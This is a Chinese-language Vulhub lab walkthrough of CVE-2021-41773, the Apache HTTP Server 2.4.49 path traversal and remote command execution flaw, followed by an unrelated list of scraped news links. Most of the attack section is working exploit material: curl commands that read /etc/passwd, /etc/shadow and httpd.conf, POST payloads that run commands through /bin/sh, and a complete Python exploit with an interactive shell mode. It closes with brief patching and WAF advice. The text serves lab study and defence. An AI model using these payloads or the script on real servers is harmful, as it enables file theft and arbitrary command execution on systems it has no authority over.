CVE-2021-41773 Apache HTTP Server 路径穿越与远程命令执行漏洞
漏洞信息项目内容CVE 编号CVE-2021-41773漏洞类型路径穿越 (Path Traversal) → 任意文件读取 / 远程命令执行 (RCE)影响组件Apache HTTP Server影响版本2.4.49 仅此版本2.4.48 及之前不受此版本特有的路径穿越影响2.4.50 修复靶场版本Apache HTTP Server 2.4.49 (Unix) mod_cgi / mod_cgid 已启用靶机地址http://192.168.229.60:8080/Vulhub 路径/vulhub/vulhub/httpd/CVE-2021-41773/利用条件配置文件必须包含Directory /Require all granted/Directory本靶场已配置漏洞原理背景Apache HTTP Server 2.4.49 版本在路径规范化URL path normalization处理逻辑中存在缺陷。当 URL 路径中包含.%2e即 URL 编码的../组合时Apache 的路径解析函数未能正确规范化导致可以绕过目录限制访问 Web 根目录以外的文件。漏洞成因正常请求 GET /icons/README HTTP/1.1 → Apache 规范化路径/usr/local/apache2/htdocs/icons/README ✅ ​ 路径穿越请求 GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 → Apache 未能正确解码并规范化 .%2e (即..) → 实际访问/etc/passwd ❌访问路径分析 ┌──────────────────────────────────────────────────┐ │ /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ../ ../ ../ │ │ └──────┬──────┘ │ │ │ ▼ │ │ │ /icons/向上穿越一次 │ │ │ │ │ │ │ 连续4次穿越 │ │ │ │ │ │ │ 路径: /icons → / → / → / → / → /etc/passwd │ └──────────────────────────────────────────────────┘RCE 原理当 Apache 同时启用了mod_cgi或mod_cgid时路径穿越可以访问到/cgi-bin/目录之外的 CGI 脚本。通过穿越到/bin/sh并传入 POST 数据可以实现任意命令执行POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh Content-Type: application/x-www-form-urlencoded ​ echo;id/cgi-bin/是 Apache 默认配置的 CGI 脚本目录路径穿越到/bin/sh系统 shellecho;确保输出不会干扰标准输出后续命令以 daemon 用户权限执行攻击步骤Step 1确认靶机版本GET / HTTP/1.1 Host: 192.168.229.60:8080HTTP/1.1 200 OK Server: Apache/2.4.49 (Unix) Content-Type: text/html ​ htmlbodyh1It works!/h1/body/html确认 Apache 版本为2.4.49存在漏洞。Step 2路径穿越读取任意文件利用.%2e绕过路径检查读取服务器上的任意文件# 读取 /etc/passwd curl -v --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ...关键参数说明--path-as-is— 告诉 curl不要自动规范化URL 中的路径必须使用/icons/— Apache 默认存在的可访问目录.%2e— URL 编码后的.点与后面的%2e组合解码后为..上级目录更多文件读取示例# 读取 Apache 配置文件 curl --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/conf/httpd.conf ​ # 读取 Web 目录下的脚本源码保护源码不被直接访问 curl --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/htdocs/index.html ​ # 读取系统敏感文件 curl --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow curl --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hostsStep 3CGI 模式远程命令执行RCE当服务器启用了mod_cgi或mod_cgid本靶场已开启路径穿越可访问到系统 shellcurl -v --data echo;id http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/shHTTP/1.1 200 OK Server: Apache/2.4.49 (Unix) ​ uid1(daemon) gid1(daemon) groups1(daemon)命令以daemon用户身份执行。通过更换 POST body 可以执行任意命令curl --data echo;ls -la / http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh curl --data echo;cat /etc/passwd http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh curl --data echo;whoami http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/shPython 版完整利用脚本#!/usr/bin/env python3 CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal RCE Exploit Author: Vulhub Lab ​ import requests import sys import urllib.parse ​ class CVE_2021_41773: def __init__(self, target, port80): self.base_url fhttp://{target}:{port} self.session requests.Session() def read_file(self, filepath, directory/icons): 路径穿越读取任意文件 Args: filepath: 目标文件路径如 /etc/passwd directory: 起始目录默认 /icons Returns: 文件内容字符串失败返回 None # 构建穿越路径: 从 /icons 需要穿越到根然后再到目标 traversal /.%2e/%2e%2e/%2e%2e/%2e%2e url f{self.base_url}{directory}{traversal}{filepath} print(f[*] Reading: {filepath}) print(f[*] URL: {url}) try: # --path-as-is 对应 Python 中不自动规范化路径 r self.session.get(url, timeout10) if r.status_code 200 and len(r.text) 0: print(f[] Success! ({len(r.text)} bytes)) return r.text else: print(f[-] Failed: HTTP {r.status_code}) return None except requests.exceptions.RequestException as e: print(f[-] Error: {e}) return None def exec_command(self, command): 通过 CGI 路径穿越执行系统命令 (RCE) Args: command: 要执行的命令如 id, ls -la / Returns: 命令输出字符串失败返回 None url f{self.base_url}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh payload fecho;{command} print(f[*] Executing: {command}) print(f[*] POST to: {url}) try: r self.session.post(url, datapayload, timeout10) if r.status_code 200 and len(r.text) 0: print(f[] Success! ({len(r.text)} bytes)) return r.text else: print(f[-] Failed: HTTP {r.status_code}) return None except requests.exceptions.RequestException as e: print(f[-] Error: {e}) return None def interactive_shell(self): 交互式命令执行 print([*] CVE-2021-41773 RCE Interactive Shell (type exit to quit)) print([*] Commands run as daemon user) print() while True: try: cmd input($ ).strip() if cmd.lower() in (exit, quit): break if not cmd: continue output self.exec_command(cmd) if output: print(output) except KeyboardInterrupt: print(\n[*] Exiting...) break except Exception as e: print(f[-] Error: {e}) ​ ​ def banner(): print( * 55) print( CVE-2021-41773 - Apache 2.4.49 Path Traversal / RCE) print( * 55) print() ​ def main(): banner() if len(sys.argv) 3: print(Usage:) print( python3 cve-2021-41773.py target port read filepath) print( python3 cve-2021-41773.py target port exec command) print( python3 cve-2021-41773.py target port shell) print() print(Examples:) print( python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd) print( python3 cve-2021-41773.py 192.168.229.60 8080 exec id) print( python3 cve-2021-41773.py 192.168.229.60 8080 shell) sys.exit(1) target sys.argv[1] port int(sys.argv[2]) action sys.argv[3] exploit CVE_2021_41773(target, port) if action read and len(sys.argv) 5: filepath sys.argv[4] content exploit.read_file(filepath) if content: print( * 55) print(content.rstrip()) print( * 55) elif action exec and len(sys.argv) 5: command .join(sys.argv[4:]) output exploit.exec_command(command) if output: print( * 55) print(output.rstrip()) print( * 55) elif action shell: exploit.interactive_shell() else: print([-] Invalid action or missing arguments) ​ ​ if __name__ __main__: main()使用示例# 读取文件 python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd ​ # 执行命令 python3 cve-2021-41773.py 192.168.229.60 8080 exec id ​ # 交互式 Shell python3 cve-2021-41773.py 192.168.229.60 8080 shell关键要点总结✅/⚠️要点✅CVE-2021-41773 仅影响 Apache HTTP Server2.4.49 这一个版本非常罕见的单一版本漏洞✅路径穿越利用.%2eURL 编码的..绕过路径规范化 → 任意文件读取✅远程命令执行当mod_cgi/mod_cgid开启时可通过/cgi-bin/.%2e/../bin/sh执行命令✅--path-as-is是 curl 利用的关键参数否则 curl 会自动规范化路径导致攻击失败✅RCE 以daemon用户权限执行非 root但已足够造成严重破坏⚠️修复方案升级到 Apache2.4.50或更高版本⚠️临时缓解在配置中移除Directory /Require all granted/Directory⚠️如果业务无法升级可在 WAF/Nginx 反向代理层拦截包含%2e或..的请求路径⚠️该漏洞在 2021 年 10 月被公开后 48 小时内即出现大量在野利用属于紧急修补类漏洞

相关新闻

3个步骤+5个技巧:用AntiMicroX让任何游戏都支持你的游戏手柄

3个步骤+5个技巧:用AntiMicroX让任何游戏都支持你的游戏手柄

3个步骤5个技巧:用AntiMicroX让任何游戏都支持你的游戏手柄 【免费下载链接】antimicrox Graphical program used to map keyboard buttons and mouse controls to a gamepad. Useful for playing games with no gamepad support. 项目地址: https://gitcode.com/…

2026/6/23 20:00:55阅读更多 →
盘锦门窗别只看价格

盘锦门窗别只看价格

现在很多盘锦业主选门窗,第一反应是先问“多少钱一平”。这个问题当然重要,但如果只盯着单价,很容易忽略真正影响使用体验的部分:型材厚度、玻璃配置、五金配件、密封结构、测量方式、安装收口和后续售后。门窗不是装上去就结束的…

2026/6/23 20:00:55阅读更多 →
终极免费方案:如何让小爱音箱告别会员限制,实现无限音乐自由

终极免费方案:如何让小爱音箱告别会员限制,实现无限音乐自由

终极免费方案:如何让小爱音箱告别会员限制,实现无限音乐自由 【免费下载链接】xiaomusic 使用小爱音箱播放音乐,音乐使用 yt-dlp 下载。 项目地址: https://gitcode.com/GitHub_Trending/xia/xiaomusic 你是否也曾遇到过这样的尴尬时刻…

2026/6/23 19:55:54阅读更多 →
【共创季稿事节】鸿蒙原生ArkTS布局方式之List+LazyForEach懒加载布局

【共创季稿事节】鸿蒙原生ArkTS布局方式之List+LazyForEach懒加载布局

鸿蒙原生ArkTS布局方式之ListLazyForEach懒加载布局 一、引言 在移动应用开发中,长列表是最常见也最具挑战性的 UI 场景——无论是社交应用的好友动态、电商应用的商品列表,还是资讯应用的新闻流。传统的一次性加载全部数据并创建所有 UI 组件的做法&…

2026/6/23 21:11:34阅读更多 →
机器到底能不能做漆器?一手实测记录

机器到底能不能做漆器?一手实测记录

做这行五年了,手上摸过上千件大漆作品。从传统雕漆到现代漆画,从脱胎漆器到推光漆,但凡有点名气的工艺门类,我都追着看过。这几年圈子里最热的话题,不是哪位大师又得了奖,而是“机器到底能不能做漆器”——…

2026/6/23 21:11:34阅读更多 →
Nature 绘图复现 | 基因家族散点图

Nature 绘图复现 | 基因家族散点图

在发表科研论文的过程中,科研绘图是必不可少的,而提升绘图水平最直接的方法就是跟着顶刊学习。为了便于使用,本系列文章介绍的所有绘图都已收录到了 CNSplot 项目中本期我们复现的是 2020 年发表在 Nature Neuroscience 上的一篇期刊的 Figur…

2026/6/23 21:11:34阅读更多 →
微信聊天记录删了还能恢复吗?官方免费方法 + 专业第三方恢复渠道详解

微信聊天记录删了还能恢复吗?官方免费方法 + 专业第三方恢复渠道详解

生活中不少人会因清理内存、手滑误删、换机重装微信丢失重要聊天记录,转账凭证、合同沟通、家人回忆、工作资料全部无法查看。根据腾讯官方公开说明,微信不会在服务器永久储存用户私聊数据,所有聊天内容仅保存在本地手机设备中,删…

2026/6/23 21:11:34阅读更多 →
基于助睿的自媒体多平台数据清洗实验

基于助睿的自媒体多平台数据清洗实验

1 实验目的本实验依托全班同学多平台自媒体作品互动原始数据集,借助助睿 ETL 工具完成多源数据抽取、清洗与标准化预处理,生成两张业务分层数据表,为后续特征衍生、指标计算与可视化看板搭建提供合规可用数据源。通过实操训练,要求…

2026/6/23 21:11:34阅读更多 →
Sunshine游戏串流技术架构深度解析:自托管流媒体服务器实现原理

Sunshine游戏串流技术架构深度解析:自托管流媒体服务器实现原理

Sunshine游戏串流技术架构深度解析:自托管流媒体服务器实现原理 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 1. 系统架构概述与技术实现 1.1 核心组件架构设计 Su…

2026/6/23 21:06:33阅读更多 →
【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体 一文搞定到底什么是智能体【人工智能】一文搞定到底什么是智能体一. LM,WorkFlow,Agent分别有什么么不同二. Agent的思考过程是怎样的三. Agent的五个核心部分1)LLM2)Prompt3)Me…

2026/6/23 7:04:52阅读更多 →
嵌入式GUI控件实战:ROTARY、SCROLLBAR、SLIDER原理与应用

嵌入式GUI控件实战:ROTARY、SCROLLBAR、SLIDER原理与应用

1. 嵌入式GUI控件:从原理到实战的深度解析在嵌入式系统开发中,图形用户界面(GUI)的设计与实现往往是项目从“能用”到“好用”的关键一跃。不同于资源充沛的PC或移动平台,嵌入式设备的GUI需要在有限的CPU性能、内存空间…

2026/6/23 1:55:32阅读更多 →
Google AI Studio 300美元额度的真相与实战指南

Google AI Studio 300美元额度的真相与实战指南

1. 这300美金不是“送钱”,而是Google埋下的第一道技术门槛 你看到标题里那个醒目的“$300美金”时,第一反应可能是:又一个免费额度?领完就完事?我亲手试过——这300美金根本不是红包,而是一张入场券&…

2026/6/23 5:55:37阅读更多 →
2026年京东云 618 活动 Hermes Agent/OpenClaw配置Token Plan新手必看指南

2026年京东云 618 活动 Hermes Agent/OpenClaw配置Token Plan新手必看指南

2026年京东云 618 活动 Hermes Agent/OpenClaw配置Token Plan新手必看指南。OpenClaw是开源的个人AI助手,Hermes Agent则是一个能自我进化的AI智能体框架。阿里云提供计算巢、轻量服务器及无影云电脑三种部署OpenClaw 与 Hermes Agent的方案、百炼Token Plan兼容主流…

2026/6/23 0:00:38阅读更多 →
2026年北京电子沙盘制作公司深度评测:从技术选型到落地效果,谁在真正定义“数字+实体”的融合边界?

2026年北京电子沙盘制作公司深度评测:从技术选型到落地效果,谁在真正定义“数字+实体”的融合边界?

模块一:行业背景——百亿赛道爆发,北京市场的特殊性与选型困局2026年,电子沙盘行业已走过“要不要做”的讨论,进入“找谁做、怎么做”的深水区。据行业研究机构数据,2025年国内电子沙盘市场规模已突破85亿元&#xff0…

2026/6/23 0:00:38阅读更多 →
音视频场景下的 Java 开发者面试:技术与挑战

音视频场景下的 Java 开发者面试:技术与挑战

面试互联网大厂:从音视频场景看 Java 开发者的技能与挑战 在互联网大厂求职的面试中,Java 开发者往往需要面对严苛的技术问题。今天,我们将通过一位名叫燕双非的搞笑程序员与严肃的面试官之间的对话,看看在音视频场景下&#xff0…

2026/6/23 0:00:38阅读更多 →